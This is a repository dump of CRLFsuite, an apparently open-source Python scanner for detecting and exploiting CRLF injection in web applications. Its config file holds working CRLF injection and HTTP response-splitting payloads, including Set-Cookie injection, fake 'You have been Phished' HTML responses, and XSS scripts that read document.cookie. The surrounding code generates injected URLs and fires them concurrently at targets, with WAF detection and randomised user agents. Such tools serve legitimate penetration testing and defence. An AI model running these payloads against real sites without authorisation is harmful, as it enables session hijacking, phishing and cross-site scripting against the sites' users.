├── .gitignore ├── LICENSE ├── README.md ├── crlfsuite ├── __init__.py ├── __main__.py ├── core │ ├── __init__.py │ ├── cli.py │ ├── config.py │ ├── exporter.py │ ├── generator.py │ ├── logger.py │ ├── prompt.py │ ├── requester.py │ ├── resumer.py │ └── scanner.py ├── db │ └── wafsignatures.json ├── plugins │ ├── __init__.py │ ├── heuristic.py │ └── wafDetector.py └── utils │ ├── __init__.py │ ├── cleaner.py │ ├── compatible.py │ ├── inject.py │ ├── parser.py │ ├── percentage.py │ ├── randomagents.py │ ├── reader.py │ └── temp.py ├── setup.py └── static ├── CRLFsuite.png ├── CRLFsuite_logo2.0.png ├── crlfsuite_logo.png └── crlfsuitev2.0.svg /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | build 3 | dist 4 | CRLFsuite.egg-info 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Nefcore Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |

CRLFsuite - CRLF injection scanner

3 | 4 | [![made-with-python](https://img.shields.io/badge/Made%20with-Python-1f425f.svg)](https://www.python.org/) 5 | [![GitHub release](https://img.shields.io/github/release/Nefcore/CRLFsuite)](https://GitHub.com/Nefcore/CRLFsuite/releases/) 6 | [![PyPI license](https://img.shields.io/pypi/l/ansicolortags.svg)](https://pypi.python.org/pypi/ansicolortags/) 7 | [![GitHub forks](https://badgen.net/github/forks/Nefcore/CRLFsuite/)](https://GitHub.com/Nefcore/CRLFsuite/network/) 8 | [![GitHub contributors](https://img.shields.io/github/contributors/Nefcore/CRLFsuite)](https://GitHub.com/Nefcore/badges/graphs/contributors/) 9 | 10 | 11 | 12 |
13 | 14 | **The project is no more managed by developers.** 15 | 16 | CRLFsuite is a powerful tool for `CRLF injection` detection and exploitation. Want to know how it works. Here's how 17 | ## Installation 18 | 19 | You can install CRLFsuite using `pip` as given below: 20 | 21 | ``` 22 | pip3 install crlfsuite 23 | ``` 24 | 25 | or download this repository and run the following command: 26 | 27 | ``` 28 | sudo python3 setup.py install 29 | ``` 30 | 31 | ## Features 32 | 33 | * Single URL scanning 34 | 35 | * Multiple URL scanning 36 | 37 | * Stdin supported 38 | 39 | * WAF detection 40 | 41 | * Powerful payload generator 42 | 43 | * CRLF Injection to XSS Chaining feature 44 | 45 | * GET & POST method supported 46 | 47 | * Concurrency 48 | 49 | * Fast and efficient scanning with negligible false-positive 50 | 51 | ### Newly added in v2.5.1: 52 | 53 | * Json & Text ouput supported 54 | 55 | * Multiple headers supported 56 | 57 | * Verbose output supported 58 | 59 | * Scan can be resumed after CTRL^C is pressed 60 | 61 | * Added heuristic (basic) scanner 62 | 63 | * Compatibility with windows 64 | 65 | 66 | ### credits 67 | 68 | * prompt.py is taken from Arjun 69 | * WAF Detection methodology is taken from XSStrike 70 | * User-Agent list is taken from ParamSpider 71 | * WAF signatures is taken from XSStrike and wafw00f 72 | -------------------------------------------------------------------------------- /crlfsuite/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/crlfsuite/__init__.py -------------------------------------------------------------------------------- /crlfsuite/__main__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import warnings 4 | from sys import stdin 5 | from datetime import datetime 6 | from crlfsuite.core import logger 7 | from crlfsuite.core.generator import generate 8 | from crlfsuite.plugins.heuristic import heuristic_scanner 9 | from crlfsuite.plugins.wafDetector import WafDetector 10 | from crlfsuite.utils import cleaner 11 | from crlfsuite.utils.parser import parse_cookies, parse_post_data, extract_headers 12 | from crlfsuite.utils.randomagents import get_user_agent 13 | from crlfsuite.core.resumer import resume as resumer, extract_index 14 | from crlfsuite.core.prompt import prompt 15 | from crlfsuite.utils.temp import create_temp_file 16 | from crlfsuite.utils.reader import reader 17 | from crlfsuite.core.logger import args_info, green, reset, bright, progress, banner 18 | from concurrent.futures import ThreadPoolExecutor, as_completed 19 | from crlfsuite.core.scanner import scanner 20 | from crlfsuite.core.exporter import exporter 21 | from crlfsuite.core.resumer import create_resume_file 22 | from crlfsuite.utils.percentage import get_percentage 23 | from crlfsuite.core.config import vuln_urls, heuristic_result, heuristic_payload 24 | from crlfsuite.core.cli import target, targets, timeout, pipe, method, data, headers, ssl, jout, \ 25 | nout, threads, verbose, silent, skipHeuristic, cookie, clean as cl, stable, delay, resume 26 | 27 | warnings.filterwarnings('ignore') 28 | 29 | now = datetime.now() 30 | dt_string = now.strftime("%d-%m-%Y %H:%M") 31 | 32 | if not silent: 33 | print(banner) 34 | args_info(target, targets, pipe, nout, jout, method, data, cookie, timeout, ssl, threads, verbose, delay) 35 | logger.info('CRLFsuite v2.5.2 (%sCRLF Injection Scanner%s)' % (green,reset)) 36 | logger.warn('Use with caution. You are responsible for your actions') 37 | logger.warn('Developers assume no liability and are not responsible for any misuse or damage.') 38 | else: 39 | None 40 | 41 | if cookie: 42 | if not silent: 43 | if verbose >= 1: 44 | logger.info('Parsing cookies') 45 | cookie = parse_cookies(cookie) 46 | if not silent: 47 | if verbose >= 3: 48 | logger.info('Parsed cookies: {}'.format(cookie)) 49 | else: 50 | None 51 | 52 | if data: 53 | if not silent: 54 | if verbose >= 1: 55 | logger.info('Parsing HTTP POST data') 56 | data = parse_post_data(data) 57 | if not silent: 58 | if verbose >= 3: 59 | logger.info('Parsed POST data: {}'.format(data)) 60 | else: 61 | None 62 | 63 | if headers: 64 | if not silent: 65 | if verbose >= 1: 66 | logger.info('Parsing and extracting headers') 67 | if type(headers) == str: 68 | headers = extract_headers(headers) 69 | else: 70 | headers = extract_headers(prompt()) 71 | if not silent: 72 | if verbose >= 3: 73 | logger.info('Parsed headers: {}'.format(headers)) 74 | else: 75 | if not silent: 76 | if verbose >= 1: 77 | logger.info('Generating random headers') 78 | headers = get_user_agent() 79 | 80 | if stable or delay: 81 | if not silent: 82 | if verbose >= 1: 83 | logger.info('Setting threads to 1') 84 | threads = 1 85 | 86 | if resume: 87 | if not silent: 88 | if verbose >= 1: 89 | logger.info('Extracting index from resume.cfg and resuming the scan') 90 | try: 91 | index = extract_index(silent) 92 | if index: 93 | resumer(index, threads, method, cookie, timeout, data, ssl, headers, nout, jout, verbose, silent, stable, delay) 94 | quit() 95 | except Exception as e: 96 | if not silent: 97 | logger.error(e) 98 | 99 | if target: 100 | if not skipHeuristic: 101 | if not silent: 102 | if verbose >= 1: 103 | logger.info('Intializing Heuristic scanner...') 104 | heuristic_scanner(target, heuristic_payload, method, cookie, headers, timeout, ssl, data, verbose, silent, stable, delay) 105 | if not silent: 106 | if verbose >= 1: 107 | logger.info('Heuristic scan completed.') 108 | if not silent: #Running WafDetector in silent mode is useless 109 | if verbose >= 1: 110 | logger.info('Intializing WAF detector at %s...' % dt_string) 111 | Wafstatus = WafDetector(target) 112 | if Wafstatus: 113 | logger.info('WAF status: %sonline%s' %(green,reset)) 114 | if verbose >= 2: 115 | logger.info('WAF detected: %s' % Wafstatus) 116 | else: 117 | logger.info('WAF status: %soffline%s' % (green,reset)) 118 | if verbose >= 1: 119 | logger.info('WAF detection completed.') 120 | total_parsed_targets = [] 121 | if not silent: 122 | if verbose >= 1: 123 | logger.info('Intializing Payload Generator...') 124 | parsed_target = generate(target) 125 | for each in parsed_target[0]: 126 | total_parsed_targets.append(each) 127 | if not silent: 128 | if verbose >= 2: 129 | logger.info('Total URL(s) generated: {}'.format(len(total_parsed_targets))) 130 | elif targets: 131 | total_parsed_targets = [] 132 | read_urls = reader(targets) 133 | if not skipHeuristic: 134 | if not silent: 135 | if verbose >= 1: 136 | logger.info('Intializing Heuristic scanner...') 137 | for each_url in read_urls: 138 | heuristic_scanner(each_url, heuristic_payload, method, cookie, headers, timeout, ssl, data, verbose, silent, stable, delay) 139 | if not silent: 140 | if verbose >= 1: 141 | logger.info('Heuristic scan completed.') 142 | if not silent: 143 | if verbose >= 1: 144 | logger.info('Intializing Payload Generator...') 145 | for _each_url in read_urls: 146 | parsed_targets = generate(_each_url) 147 | for each in parsed_targets[0]: 148 | total_parsed_targets.append(each) 149 | if not silent: 150 | if verbose >= 2: 151 | logger.info('Total URL(s) generated: {}'.format(len(total_parsed_targets))) 152 | elif pipe: 153 | total_parsed_targets = [] 154 | pipe_data = stdin.read().splitlines() 155 | if not skipHeuristic: 156 | if not silent: 157 | if verbose >= 1: 158 | logger.info('Intializing Heuristic scanner...') 159 | for each_std_url in pipe_data: 160 | heuristic_scanner(each_std_url, heuristic_payload, method, cookie, headers, timeout, ssl, data, verbose, silent, stable, delay) 161 | if not silent: 162 | if verbose >= 1: 163 | logger.info('Heuristic scan completed.') 164 | if not silent: 165 | if verbose >= 1: 166 | logger.info('Intializing Payload Generator...') 167 | for std_url in pipe_data: 168 | parsed_std_urls = generate(std_url) 169 | for each in parsed_std_urls[0]: 170 | total_parsed_targets.append(each) 171 | if not silent: 172 | if verbose >= 2: 173 | logger.info('Total URL(s) generated: {}'.format(len(total_parsed_targets))) 174 | else: 175 | if not silent: 176 | logger.error('Target(s) not specified.') 177 | quit() 178 | 179 | if not silent: 180 | if not skipHeuristic: 181 | if not len(heuristic_result) == 0: 182 | logger.good('Heuristic test shows that %s%s%s is/are might be injectable' % (bright,', '.join([str(each_u) for each_u in heuristic_result]), reset)) 183 | else: 184 | logger.info('Heuristic scanner found no injectable URL(s).') 185 | 186 | if not silent: 187 | logger.info('Creating resumable_data.crlfsuite.') 188 | create_temp_file(total_parsed_targets) 189 | 190 | def main(): 191 | if target: 192 | try: 193 | if not silent: 194 | if verbose >= 1: 195 | logger.info('Intializing CRLF Injection scanner at %s...' % dt_string ) 196 | with ThreadPoolExecutor(max_workers=threads) as executor: 197 | tasks = [] 198 | for u in total_parsed_targets: 199 | task = executor.submit(scanner, u.strip(), method, cookie, timeout, data, ssl, headers, verbose, silent, stable, delay) 200 | tasks.append(task) 201 | for i, _ in enumerate(as_completed(tasks)): 202 | if not silent: 203 | print(progress+'Progress: %i/%i (%i%%)' % (i+1, len(total_parsed_targets), get_percentage(i+1, len(total_parsed_targets))), end='\r') 204 | except KeyboardInterrupt as k: 205 | if not silent: 206 | logger.error('Interrupt detected. Creating %sresume.cfg%s.' % (bright,reset)) 207 | create_resume_file(i) 208 | quit(k) 209 | elif targets: 210 | try: 211 | if not silent: 212 | if verbose >= 1: 213 | logger.info('Intializing CRLF Injection scanner at %s...' % dt_string) 214 | with ThreadPoolExecutor(max_workers=threads) as executor: 215 | tasks = [] 216 | for u in total_parsed_targets: 217 | task = executor.submit(scanner, u.strip(), method, cookie, timeout, data, ssl, headers, verbose, silent, stable, delay) 218 | tasks.append(task) 219 | for i, _ in enumerate(as_completed(tasks)): 220 | if not silent: 221 | print(progress+'Progress: %i/%i (%i%%)' % (i+1, len(total_parsed_targets) ,get_percentage(i+1, len(total_parsed_targets))), end='\r') 222 | except KeyboardInterrupt as k: 223 | if not silent: 224 | logger.error('Interrupt detected. Creating %sresume.cfg%s.' % (bright,reset)) 225 | create_resume_file(i) 226 | quit(k) 227 | elif pipe: 228 | try: 229 | if not silent: 230 | if verbose >= 1: 231 | logger.info('Intializing CRLF Injection scanner at %s...' % dt_string) 232 | with ThreadPoolExecutor(max_workers=threads) as executor: 233 | tasks = [] 234 | for u in total_parsed_targets: 235 | task = executor.submit(scanner, u.strip(), method, cookie, timeout, data, ssl, headers, verbose, silent, stable, delay) 236 | tasks.append(task) 237 | for i, _ in enumerate(as_completed(tasks)): 238 | if not silent: 239 | print(progress+'Progress: %i/%i (%i%%)' % (i+1, len(total_parsed_targets), get_percentage(i+1, len(total_parsed_targets))), end='\r') 240 | except KeyboardInterrupt as k: 241 | if not silent: 242 | logger.error('Interrupt detected. Creating %sresume.cfg%s.' % (bright,reset)) 243 | create_resume_file(i) 244 | quit(k) 245 | else: 246 | None 247 | 248 | if not len(vuln_urls) == 0 or len(heuristic_result) == 0: 249 | total_vuln_urls = vuln_urls.union(heuristic_result) 250 | if not silent: 251 | print('%-60s' % '') #cleans the progress 252 | for vuln_url in total_vuln_urls: 253 | logger.good(vuln_url) 254 | if nout or jout: 255 | if not silent: 256 | if verbose >= 1: 257 | logger.info('Writing output') 258 | exporter(nout, jout, total_vuln_urls) 259 | else: 260 | logger.bad('No CRLF Injection found.') 261 | 262 | if cl: 263 | if not silent: 264 | if verbose >= 1: 265 | logger.info('Removing CRLFsuite generated files.') 266 | cleaner.clean() 267 | else: 268 | None 269 | 270 | if __name__ == '__main__': 271 | main() -------------------------------------------------------------------------------- /crlfsuite/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/crlfsuite/core/__init__.py -------------------------------------------------------------------------------- /crlfsuite/core/cli.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | This file contains all the command line arguments 5 | """ 6 | import argparse 7 | 8 | parser = argparse.ArgumentParser() 9 | Main_args = parser.add_argument_group('Main arguments') 10 | Main_args.add_argument('-t', '--target', dest='target', help='Target URL') 11 | Main_args.add_argument('-iT', '--import-targets', dest='targets', help='Multiple targets') 12 | Main_args.add_argument('--pipe', dest='pipe', help='Read targets from stdin', action='store_true') 13 | Request_args = parser.add_argument_group('Request arguments') 14 | Request_args.add_argument('-m', '--method', dest='method', help='Request method (GET/POST), default: GET', default='GET') 15 | Request_args.add_argument('-d', '--data', dest='data', help='HTTP POST data (ex: -d "akey=aval&bkey=bval")') 16 | Request_args.add_argument('-c', '--cookies', dest='cookie', help='HTTP Cookies (ex: -c "KEY=Val;NEWKEY=NewVal")') 17 | Request_args.add_argument('-tO', '--timeout', dest='timeout', help='Request timeout, default: 15', default=15) 18 | Request_args.add_argument('--ssl', dest='ssl', help='Verify SSL cert.', action='store_true', default=False) 19 | Request_args.add_argument('--delay', dest='delay', help='Delay between every request.', type=float, default=0) 20 | Request_args.add_argument('--stable', dest='stable', help='Prioritize stability over speed.', action='store_true') 21 | Request_args.add_argument('--headers', dest='headers', help='Add headers. Separate with newlines (if multiple).', nargs='?', const=True) 22 | Output_args = parser.add_argument_group('Ouput arguments') 23 | Output_args.add_argument('-oN', '--normal-output', dest='nout', help='Path for text output file') 24 | Output_args.add_argument('-oJ', '--json-output', dest='jout', help='Path for json output file') 25 | parser.add_argument('-cT', '--concurrent-threads', dest='threads', help='Number of concurrent threads, default: 10', default=10, type=int) 26 | parser.add_argument('-v', '--verbose', dest='verbose', help='Verbosity level (1:3)', default=1, type=int) 27 | parser.add_argument('-r', '--resume', dest='resume', help='Resume scan using resume.cfg', action='store_true') 28 | parser.add_argument('-sL', '--silent', dest='silent', help='Silent mode', action='store_true') 29 | parser.add_argument('-sH', '--skip-heuristic', dest='heuristic', help='Skip heuristic scanning', action='store_true') 30 | parser.add_argument('-cL', '--clean', dest='clean', help='Remove CRLFsuite generated files.', action='store_true') 31 | args = parser.parse_args() 32 | target = args.target 33 | targets = args.targets 34 | pipe = args.pipe 35 | method = args.method 36 | data = args.data 37 | cookie = args.cookie 38 | timeout = args.timeout 39 | ssl = args.ssl 40 | headers = args.headers 41 | nout = args.nout 42 | jout = args.jout 43 | threads = args.threads 44 | verbose = args.verbose 45 | silent = args.silent 46 | skipHeuristic = args.heuristic 47 | resume = args.resume 48 | clean = args.clean 49 | stable = args.stable 50 | delay = args.delay -------------------------------------------------------------------------------- /crlfsuite/core/config.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | #All vulnerable URL(s) are accessed from this set 4 | vuln_urls = set() 5 | 6 | #Heuristic scanner result 7 | heuristic_result = set() 8 | 9 | #A basic payload that heuristic scanner uses 10 | heuristic_payload = "%0d%0aSet-Cookie:nefcore=crlfsuite" 11 | 12 | #Escape characters 13 | escape_chars = ['%0d','%0a', '%0d%20', '%0a%20' , '%3f' , '%0d%0a', '%23%0d', '%23%0a', '%23%0d%0a', '%u000a', '%25%30%61', '%25%30a', '%3f%0d', '%3f%0d%0a', '%3f%0a' , '%%0a0a', '%u000d', '%u0000', '%0d%09', '%0d%0a%09', '%0d%0a%20' , '%25250a', '%250a', '%2F..%0d%0a', '%2f%2e%2e%0d%0a', '%25%30' , '%2e%2e%2f%0d%0a', '%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D', '%E5%98%8A%E5%98%8D', '%e5%98%8a%e5%98%8d%0a', '%e5%98%8a%e5%98%8d%0d', '%e5%98%8a%e5%98%8d%0d%0a' , f"\\r", f"\\r\\n", f"\\r\\t", f"\\r\\n\\t", f"\\r%20", f"\\r\\n%20"] 14 | 15 | #These strings are used before the escape characters 16 | starting_strings = ["", "crlfsuite", "?crlfsuite=", "#", "__session_start__/"] 17 | 18 | #CRLF injection payloads that leads to XSS 19 | xss_payloads = ["%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E", "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2f%2e%2e", "%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E", "%0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E", "%22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22", "%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E", "%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0aInjected%02Content", "%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E", "%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E", "%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E", "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e", "%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E", "%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr"] -------------------------------------------------------------------------------- /crlfsuite/core/exporter.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import json 4 | 5 | def normal_output(nout, urls): 6 | """ 7 | exports vulnerable URL(s) to a text file 8 | """ 9 | with open(nout, 'w+', encoding='utf-8') as file: 10 | for url in urls: 11 | file.write(url) 12 | file.write('\n') 13 | 14 | def json_output(jout, urls): 15 | """ 16 | exports vulnerable URL(s) in json format 17 | """ 18 | result = {} 19 | for url in urls: 20 | result[url] = {} 21 | result[url]['Vulnerable'] = True 22 | with open(jout, 'w+', encoding='utf-8') as json_out: 23 | json.dump(result, json_out, indent=4) 24 | 25 | def exporter(nout, jout, urls): 26 | """ 27 | Invokes the function according to the condition 28 | """ 29 | if nout: 30 | normal_output(nout, urls) 31 | elif jout: 32 | json_output(jout,urls) -------------------------------------------------------------------------------- /crlfsuite/core/generator.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import re 4 | from crlfsuite.core.config import xss_payloads, escape_chars, starting_strings 5 | from crlfsuite.utils.inject import inject 6 | 7 | def generate(url): 8 | """ 9 | Adds payload to the URL and returns a set of parsed URLs 10 | """ 11 | injection = "Set-Cookie:nefcore=crlfsuite;" 12 | parsed_urls = set() 13 | verify_param = re.compile(r'=[^?\|&]*') 14 | is_param = verify_param.search(url) 15 | if is_param: 16 | del starting_strings[2] 17 | for string in starting_strings: 18 | for each_escape in escape_chars: 19 | injected_urls = inject(url, string+each_escape+injection) 20 | for each_injected_url in injected_urls: 21 | parsed_urls.add(each_injected_url) 22 | 23 | for payload in xss_payloads: 24 | _injected = inject(url, payload) 25 | for injected in _injected: 26 | parsed_urls.add(injected) 27 | else: 28 | if not url.endswith('/'): 29 | url = url+'/' 30 | else: 31 | None 32 | for string in starting_strings: 33 | for each_escape in escape_chars: 34 | parsed_urls.add(url+string+each_escape+injection) 35 | for payload in xss_payloads: 36 | parsed_urls.add(url+payload) 37 | total_len = len(parsed_urls) 38 | 39 | return parsed_urls, total_len -------------------------------------------------------------------------------- /crlfsuite/core/logger.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys 4 | from colorama import Fore as clr, Style, Back 5 | 6 | if sys.platform.lower().startswith(('os', 'win', 'darwin', 'ios')): 7 | cyan = green = yellow = red = bright = blue = reset = backred = progress = magenta = '' 8 | else: 9 | cyan = clr.CYAN 10 | green = clr.LIGHTGREEN_EX 11 | yellow = clr.LIGHTYELLOW_EX 12 | red = clr.RED 13 | bright = Style.BRIGHT 14 | blue = clr.BLUE 15 | reset = Style.RESET_ALL 16 | backred = Back.RED 17 | progress = ("[" + blue + bright +'INF' + reset + "] ") 18 | magenta = clr.LIGHTMAGENTA_EX 19 | 20 | banner = f"""{bright} ___ 21 | ___H___ 22 | _____ _____[{backred}%{reset}{bright}]_____ _ _ 23 | | | __ [{backred}\{reset}{bright}] __|___ _ _|_| |_ ___ 24 | | --| -[{backred}#{reset}{bright}] __|_ -| | | | _| -_| 25 | |_____|__|__[{backred};{reset}{bright}]__| |___|___|_|_| |___| 26 | V v2.5.2 27 | {reset}({green}\x1B[3mBy Nefcore Security\x1B[0m{reset}) 28 | """ 29 | 30 | def good(msg): 31 | """ 32 | if URL is vulnerable 33 | """ 34 | print("[" + green + bright +'VLN' + reset + '] '+msg) 35 | 36 | def bad(msg): 37 | """ 38 | if URL is not vulnerable 39 | """ 40 | print("[" + magenta + bright + 'NOT VLN' + reset + '] '+msg) 41 | 42 | def error(msg): 43 | """ 44 | if any error occurs 45 | """ 46 | print("[" + red + bright + 'ERR' + reset + ']',msg) 47 | 48 | def info(msg): 49 | """ 50 | basic informations 51 | """ 52 | print("[" + blue + bright +'INF' + reset + "] "+msg) 53 | 54 | def warn(msg): 55 | """ 56 | warnings 57 | """ 58 | print("[" + yellow + bright +'WRN' + reset + "] "+msg) 59 | 60 | def args_info(url, urls, stdin, nout, jout, method, data, cookies, timeout, verify, threads, verbosity, delay): 61 | """ 62 | Prints information about user supplied arguments 63 | """ 64 | if url: 65 | print(':: TARGET : %s' % url) 66 | elif urls: 67 | print(':: TARGET : %s' % urls) 68 | elif stdin: 69 | print(':: TARGET : Stdin') 70 | else: 71 | print(':: TARGET : None') 72 | if nout: 73 | print(':: OUTPUT : %s' % nout) 74 | elif jout: 75 | print(':: OUTPUT : %s' % jout) 76 | 77 | print(':: THREADS : %i' % threads) 78 | print(':: METHOD : %s' % method) 79 | 80 | if data: 81 | print(':: DATA : %s' % data) 82 | 83 | print(':: Delay : %s' % delay) 84 | 85 | if cookies: 86 | print(':: COOKIES : %s' % cookies) 87 | 88 | print(':: TIMEOUT : %i' % timeout) 89 | 90 | if verify: 91 | print(':: VERIFY : True') 92 | else: 93 | print(':: VERIFY : False') 94 | if verbosity: 95 | print(':: Verbosity : %i' % verbosity) 96 | print('') -------------------------------------------------------------------------------- /crlfsuite/core/prompt.py: -------------------------------------------------------------------------------- 1 | import os 2 | import tempfile 3 | 4 | def prompt(): 5 | """ 6 | Opens a temporary file in nano editor and returns the content that user pasted 7 | """ 8 | editor = 'nano' 9 | with tempfile.NamedTemporaryFile(mode='r+') as tmpfile: 10 | child_pid = os.fork() 11 | is_child = child_pid == 0 12 | if is_child: 13 | os.execvp(editor, [editor, tmpfile.name]) 14 | else: 15 | os.waitpid(child_pid, 0) 16 | tmpfile.seek(0) 17 | return tmpfile.read().strip() -------------------------------------------------------------------------------- /crlfsuite/core/requester.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import requests 4 | import warnings 5 | import random 6 | from crlfsuite.core import logger 7 | from time import sleep 8 | from crlfsuite.core.logger import reset, bright 9 | 10 | warnings.filterwarnings('ignore') 11 | 12 | def do(url, method, cookie, headers, timeout, ssl, data, verbose, silent, stable, delay): 13 | """ 14 | Sends HTTP requests and retuns text, headers and status code of the response 15 | """ 16 | if stable: 17 | delay = random.choice(range(5, 15)) 18 | sleep(delay) 19 | try: 20 | if method == "GET": 21 | request = requests.get(url, 22 | cookies=cookie, 23 | headers=headers, 24 | timeout=timeout, 25 | verify=ssl, 26 | ) 27 | response = request.text 28 | status_code = request.status_code 29 | response_headers = request.headers 30 | if verbose >= 2: 31 | logger.info('GET Request: %s' % url) 32 | logger.info(f' - Status Code: {status_code}') 33 | if verbose >= 3: 34 | logger.info(f' - Response headers: {response_headers}') 35 | logger.info(f' - Response text: {response}') 36 | elif method == "POST": 37 | request = requests.post(url, 38 | data=data, 39 | cookies=cookie, 40 | headers=headers, 41 | timeout=timeout, 42 | verify=ssl, 43 | ) 44 | response = request.text 45 | status_code = request.status_code 46 | response_headers = request.headers 47 | if verbose >= 2: 48 | logger.info('POST Request: %s' % url) 49 | logger.info(f' - Status Code: {status_code}') 50 | if verbose >= 3: 51 | logger.info(f' - Response headers: {response_headers}') 52 | logger.info(f' - Response text: {response}') 53 | return response, status_code, response_headers 54 | except requests.exceptions.ConnectionError: 55 | if not silent: 56 | if verbose >= 2: 57 | logger.error('Can\'t connect to the server: %s' % url) 58 | except requests.exceptions.HTTPError as e: 59 | if not silent: 60 | if verbose >= 2: 61 | logger.error('%s: %s' % (e,url)) 62 | except requests.exceptions.Timeout: 63 | if not silent: 64 | if verbose >= 2: 65 | logger.error('Timeout Error: %s' % url) 66 | except requests.exceptions.RequestException as e: 67 | if not silent: 68 | if verbose >= 2: 69 | logger.error('%s: %s' % (e, url)) 70 | -------------------------------------------------------------------------------- /crlfsuite/core/resumer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os 4 | from crlfsuite.utils.reader import reader 5 | from concurrent.futures import ThreadPoolExecutor, as_completed 6 | from crlfsuite.core.scanner import scanner 7 | from crlfsuite.core import logger 8 | from crlfsuite.core.logger import banner, progress 9 | from crlfsuite.utils.percentage import get_percentage 10 | from crlfsuite.core.config import vuln_urls 11 | from crlfsuite.utils import cleaner 12 | from crlfsuite.core.exporter import exporter 13 | 14 | def create_resume_file(i): 15 | """ 16 | writes the index in the resume.cfg file 17 | """ 18 | with open('resume.cfg', 'w+', encoding='utf-8') as resume_file: 19 | resume_file.write('index=%i' % i) 20 | 21 | def extract_index(silent): 22 | """ 23 | extracts the index from resume.cfg file 24 | """ 25 | if os.path.isfile('resume.cfg'): 26 | read = reader('resume.cfg') 27 | else: 28 | if not silent: 29 | logger.error('resume.cfg not found') 30 | quit() 31 | for x in read: 32 | splitit = x.split('=') 33 | index = splitit[1] 34 | 35 | return index 36 | 37 | def resume(i, threads, method, cookie, timeout, data, ssl, headers, nout, jout, verbose, silent, stable, delay): 38 | """ 39 | resumes the scan from the extracted index 40 | """ 41 | try: 42 | if not silent: 43 | print(banner) 44 | if os.path.isfile('resumable_data.crlfsuite'): 45 | read = reader('resumable_data.crlfsuite') 46 | else: 47 | if not silent: 48 | logger.error('resumable_data.crlfsuite not found') 49 | quit() 50 | if not silent: 51 | if verbose >= 1: 52 | logger.info('Resuming...') 53 | with ThreadPoolExecutor(max_workers=threads) as executor: 54 | index = (int(i)-1) 55 | tasks = [] 56 | for url in read[int(index):]: 57 | task = executor.submit(scanner, url.strip(), method, cookie, timeout, data, ssl, headers, verbose, silent, stable, delay) 58 | tasks.append(task) 59 | for done, _ in enumerate(as_completed(tasks)): 60 | if not silent: 61 | print(progress+'Progress: %i/%i (%i%%)' % (done+1, len(read[int(index):]), get_percentage(done+1, len(read[int(index):]))), end='\r') 62 | if not len(vuln_urls) == 0: 63 | print('%-60s' % '') 64 | if not silent: 65 | for vuln_url in vuln_urls: 66 | logger.good(vuln_url) 